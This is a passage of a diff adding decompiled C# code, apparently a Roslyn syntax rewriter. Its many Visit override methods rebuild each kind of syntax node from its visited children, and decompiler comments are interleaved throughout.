(SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.ElementType)) ?? throw new ArgumentNullException("elementType"), VisitList(node.RankSpecifiers)); + } + + public override SyntaxNode? VisitArrayRankSpecifier(ArrayRankSpecifierSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBracketToken), VisitList(node.Sizes), VisitToken(node.CloseBracketToken)); + } + + public override SyntaxNode? VisitPointerType(PointerTypeSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.ElementType)) ?? throw new ArgumentNullException("elementType"), VisitToken(node.AsteriskToken)); + } + + public override SyntaxNode? VisitFunctionPointerType(FunctionPointerTypeSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.DelegateKeyword), VisitToken(node.AsteriskToken), (FunctionPointerCallingConventionSyntax)(object)Visit((SyntaxNode?)(object)node.CallingConvention), ((FunctionPointerParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList")); + } + + public override SyntaxNode? VisitFunctionPointerParameterList(FunctionPointerParameterListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.LessThanToken), VisitList(node.Parameters), VisitToken(node.GreaterThanToken)); + } + + public override SyntaxNode? VisitFunctionPointerCallingConvention(FunctionPointerCallingConventionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ManagedOrUnmanagedKeyword), (FunctionPointerUnmanagedCallingConventionListSyntax)(object)Visit((SyntaxNode?)(object)node.UnmanagedCallingConventionList)); + } + + public override SyntaxNode? VisitFunctionPointerUnmanagedCallingConventionList(FunctionPointerUnmanagedCallingConventionListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBracketToken), VisitList(node.CallingConventions), VisitToken(node.CloseBracketToken)); + } + + public override SyntaxNode? VisitFunctionPointerUnmanagedCallingConvention(FunctionPointerUnmanagedCallingConventionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Name)); + } + + public override SyntaxNode? VisitNullableType(NullableTypeSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.ElementType)) ?? throw new ArgumentNullException("elementType"), VisitToken(node.QuestionToken)); + } + + public override SyntaxNode? VisitTupleType(TupleTypeSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitList(node.Elements), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitTupleElement(TupleElementSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitToken(node.Identifier)); + } + + public override SyntaxNode? VisitOmittedTypeArgument(OmittedTypeArgumentSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OmittedTypeArgumentToken)); + } + + public override SyntaxNode? VisitRefType(RefTypeSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.RefKeyword), VisitToken(node.ReadOnlyKeyword), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type")); + } + + public override SyntaxNode? VisitScopedType(ScopedTypeSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ScopedKeyword), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type")); + } + + public override SyntaxNode? VisitParenthesizedExpression(ParenthesizedExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitTupleExpression(TupleExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitList(node.Arguments), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitPrefixUnaryExpression(PrefixUnaryExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OperatorToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Operand)) ?? throw new ArgumentNullException("operand")); + } + + public override SyntaxNode? VisitAwaitExpression(AwaitExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.AwaitKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitPostfixUnaryExpression(PostfixUnaryExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Operand)) ?? throw new ArgumentNullException("operand"), VisitToken(node.OperatorToken)); + } + + public override SyntaxNode? VisitMemberAccessExpression(MemberAccessExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.OperatorToken), ((SimpleNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name")); + } + + public override SyntaxNode? VisitConditionalAccessExpression(ConditionalAccessExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.OperatorToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.WhenNotNull)) ?? throw new ArgumentNullException("whenNotNull")); + } + + public override SyntaxNode? VisitMemberBindingExpression(MemberBindingExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OperatorToken), ((SimpleNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name")); + } + + public override SyntaxNode? VisitElementBindingExpression(ElementBindingExpressionSyntax node) + { + return (SyntaxNode?)(object)node.Update(((BracketedArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList)) ?? throw new ArgumentNullException("argumentList")); + } + + public override SyntaxNode? VisitRangeExpression(RangeExpressionSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.LeftOperand), VisitToken(node.OperatorToken), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.RightOperand)); + } + + public override SyntaxNode? VisitImplicitElementAccess(ImplicitElementAccessSyntax node) + { + return (SyntaxNode?)(object)node.Update(((BracketedArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList)) ?? throw new ArgumentNullException("argumentList")); + } + + public override SyntaxNode? VisitBinaryExpression(BinaryExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Left)) ?? throw new ArgumentNullException("left"), VisitToken(node.OperatorToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Right)) ?? throw new ArgumentNullException("right")); + } + + public override SyntaxNode? VisitAssignmentExpression(AssignmentExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Left)) ?? throw new ArgumentNullException("left"), VisitToken(node.OperatorToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Right)) ?? throw new ArgumentNullException("right")); + } + + public override SyntaxNode? VisitConditionalExpression(ConditionalExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition)) ?? throw new ArgumentNullException("condition"), VisitToken(node.QuestionToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.WhenTrue)) ?? throw new ArgumentNullException("whenTrue"), VisitToken(node.ColonToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.WhenFalse)) ?? throw new ArgumentNullException("whenFalse")); + } + + public override SyntaxNode? VisitThisExpression(ThisExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Token)); + } + + public override SyntaxNode? VisitBaseExpression(BaseExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Token)); + } + + public override SyntaxNode? VisitLiteralExpression(LiteralExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Token)); + } + + public override SyntaxNode? VisitMakeRefExpression(MakeRefExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitRefTypeExpression(RefTypeExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitRefValueExpression(RefValueExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.Comma), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitCheckedExpression(CheckedExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), VisitToken(node.OpenParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitDefaultExpression(DefaultExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), VisitToken(node.OpenParenToken), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitTypeOfExpression(TypeOfExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), VisitToken(node.OpenParenToken), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitSizeOfExpression(SizeOfExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword), VisitToken(node.OpenParenToken), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitInvocationExpression(InvocationExpressionSyntax node) + { + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), ((ArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList)) ?? throw new ArgumentNullException("argumentList")); + } + + public override SyntaxNode? VisitElementAccessExpression(ElementAccessExpressionSyntax node) + { + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), ((BracketedArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList)) ?? throw new ArgumentNullException("argumentList")); + } + + public override SyntaxNode? VisitArgumentList(ArgumentListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitList(node.Arguments), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitBracketedArgumentList(BracketedArgumentListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBracketToken), VisitList(node.Arguments), VisitToken(node.CloseBracketToken)); + } + + public override SyntaxNode? VisitArgument(ArgumentSyntax node) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update((NameColonSyntax)(object)Visit((SyntaxNode?)(object)node.NameColon), VisitToken(node.RefKindKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitExpressionColon(ExpressionColonSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.ColonToken)); + } + + public override SyntaxNode? VisitNameColon(NameColonSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((IdentifierNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name"), VisitToken(node.ColonToken)); + } + + public override SyntaxNode? VisitDeclarationExpression(DeclarationExpressionSyntax node) + { + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), ((VariableDesignationSyntax)(object)Visit((SyntaxNode?)(object)node.Designation)) ?? throw new ArgumentNullException("designation")); + } + + public override SyntaxNode? VisitCastExpression(CastExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitToken(node.CloseParenToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitAnonymousMethodExpression(AnonymousMethodExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.Modifiers), VisitToken(node.DelegateKeyword), (ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList), ((BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Block)) ?? throw new ArgumentNullException("block"), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody)); + } + + public override SyntaxNode? VisitSimpleLambdaExpression(SimpleLambdaExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((ParameterSyntax)(object)Visit((SyntaxNode?)(object)node.Parameter)) ?? throw new ArgumentNullException("parameter"), VisitToken(node.ArrowToken), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Block), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody)); + } + + public override SyntaxNode? VisitRefExpression(RefExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.RefKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitParenthesizedLambdaExpression(ParenthesizedLambdaExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), (TypeSyntax)(object)Visit((SyntaxNode?)(object)node.ReturnType), ((ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), VisitToken(node.ArrowToken), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Block), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody)); + } + + public override SyntaxNode? VisitInitializerExpression(InitializerExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBraceToken), VisitList(node.Expressions), VisitToken(node.CloseBraceToken)); + } + + public override SyntaxNode? VisitImplicitObjectCreationExpression(ImplicitObjectCreationExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.NewKeyword), ((ArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList)) ?? throw new ArgumentNullException("argumentList"), (InitializerExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer)); + } + + public override SyntaxNode? VisitObjectCreationExpression(ObjectCreationExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.NewKeyword), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), (ArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList), (InitializerExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer)); + } + + public override SyntaxNode? VisitWithExpression(WithExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.WithKeyword), ((InitializerExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer)) ?? throw new ArgumentNullException("initializer")); + } + + public override SyntaxNode? VisitAnonymousObjectMemberDeclarator(AnonymousObjectMemberDeclaratorSyntax node) + { + return (SyntaxNode?)(object)node.Update((NameEqualsSyntax)(object)Visit((SyntaxNode?)(object)node.NameEquals), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitAnonymousObjectCreationExpression(AnonymousObjectCreationExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.NewKeyword), VisitToken(node.OpenBraceToken), VisitList(node.Initializers), VisitToken(node.CloseBraceToken)); + } + + public override SyntaxNode? VisitArrayCreationExpression(ArrayCreationExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.NewKeyword), ((ArrayTypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), (InitializerExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer)); + } + + public override SyntaxNode? VisitImplicitArrayCreationExpression(ImplicitArrayCreationExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.NewKeyword), VisitToken(node.OpenBracketToken), VisitList(node.Commas), VisitToken(node.CloseBracketToken), ((InitializerExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer)) ?? throw new ArgumentNullException("initializer")); + } + + public override SyntaxNode? VisitStackAllocArrayCreationExpression(StackAllocArrayCreationExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.StackAllocKeyword), 